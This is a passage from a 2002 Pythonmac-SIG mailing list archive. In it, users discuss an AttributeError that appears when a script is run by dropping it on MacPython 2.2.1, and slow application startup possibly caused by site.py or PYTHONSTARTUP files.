.. Python 2.2.2:sitecustomize.carbon.slb'

It doesn't seem to me that this problem is related to the yielding issue
that Alexandre mentioned.

--Neil

--
Neil Mayhew
Calgary, Alberta, Canada
niel_mayhew@mac.com

(Email address deliberately misspelled to foil spammers)



From jharmon@adobe.com  Thu Oct 31 20:10:28 2002
From: jharmon@adobe.com (JR)
Date: Thu, 31 Oct 2002 12:10:28 -0800
Subject: [Pythonmac-SIG] Strange MacPython (2.2.1) Behavior
Message-ID: <B9E6CE34.472A%jharmon@adobe.com>

I'm running into some odd behavior from MacPython and was hoping that
someone (here) might be able to provide some guidance...

I've built a module that seemingly loads correctly, etc.  If I import that
module (e.g., from foo import *) and then line by line enter Python code in
the Interpreter everything behaves fine.  Yet, the same Python code read in
from a text file (e.g., drag foo.py to PythonInterpreter) exhibits what I
can only describe as structural failures (a result of garbage collection?).
Here is some sample code:

from module import *

def _test():
    session = session_class_ctor()
    dict = session.create_dict()
    field = dict.Get("key")


_test()

...if I enter code like this interactively everything works fine.  session,
dict and field all remain uncollected (with >0 counters) and exhibit valid
types (i.e., type(session) => '<session::blah>').  Yet, if I encapsulate the
same code in a .py file and drag/drop the same on the interpreter the
interpreter complains that dict has no Get attrbiute because it is of Type:
None



From jharmon@adobe.com  Thu Oct 31 20:18:32 2002
From: jharmon@adobe.com (JR)
Date: Thu, 31 Oct 2002 12:18:32 -0800
Subject: [Pythonmac-SIG] Re: Strange MacPython (2.2.1) Behavior
In-Reply-To: <B9E6CE34.472A%jharmon@adobe.com>
Message-ID: <B9E6D018.472D%jharmon@adobe.com>

> I'm running into some odd behavior from MacPython and was hoping that someone
> (here) might be able to provide some guidance...

Oops.  I hit send a tad early...

Here is the complete note:

I'm running into some odd behavior from MacPython (Python 2.2.1 (#134, Apr
9 2002, 21:16:52)  [CW CARBON GUSI2 THREADS GC] on mac natively on OS X
10.1.5) and was hoping that someone (here) might be able to provide some
guidance...

I've built a module that seemingly loads correctly, etc.  If I import that
module (e.g., from module import *) and then line by line enter Python code
in the Interpreter everything behaves fine.  Yet, the same Python code read
in from a text file (e.g., drag _test.py to PythonInterpreter) exhibits what
I can only describe as structural failures (possibly a result of garbage
collection?).  Here is some sample code:

from module import *

def _test():
    session = session_class_ctor()
    dict = session.create_dict()
    field = dict.Get("key")


_test()

...if I enter code like this interactively everything works fine.  session,
dict and field all remain uncollected (with >0 ref counts) and exhibit valid
module defined types (i.e., type(dict) => <type 'foodict'>).  Yet, if I
encapsulate the same code in a .py file and drag/drop it on the interpreter
the interpreter complains that instance 'dict' has no Get attribute because
it is of type None.  As in...

AttributeError: 'NoneType' object has no attribute 'Get'

Ideas?
Thoughts?

JR



From skip@pobox.com  Thu Oct 31 18:19:33 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 31 Oct 2002 12:19:33 -0600
Subject: [Pythonmac-SIG] Re: MacPython 2.2.2 final candidate
In-Reply-To: <B9E6BEA6.7057%niel_mayhew@mac.com>
References: <3DC02590.C789EAAA@noaa.gov>
 <B9E6BEA6.7057%niel_mayhew@mac.com>
Message-ID: <15809.29749.543037.456228@montanaro.dyndns.org>

    Neil> All of the MacPython applications have a 3-6 second delay on
    Neil> starting up (including EditPythonPrefs and BuildApplet). 

Do you perhaps have a complex site.py file or have PYTHONSTARTUP set and
pointing to a pythonrc.py that does a lot of heavy lifting (dunno how you do
this on MacOS outside a terminal environment)?  I have a complex startup
file which imports lots of stuff.  If I unset PYTHONSTARTUP I get an
interpreter prompt immediately.  If not, it takes a second or two to get a
prompt.

-- 
Skip Montanaro - skip@pobox.com
http://www.mojam.com/
http://www.musi-cal.com/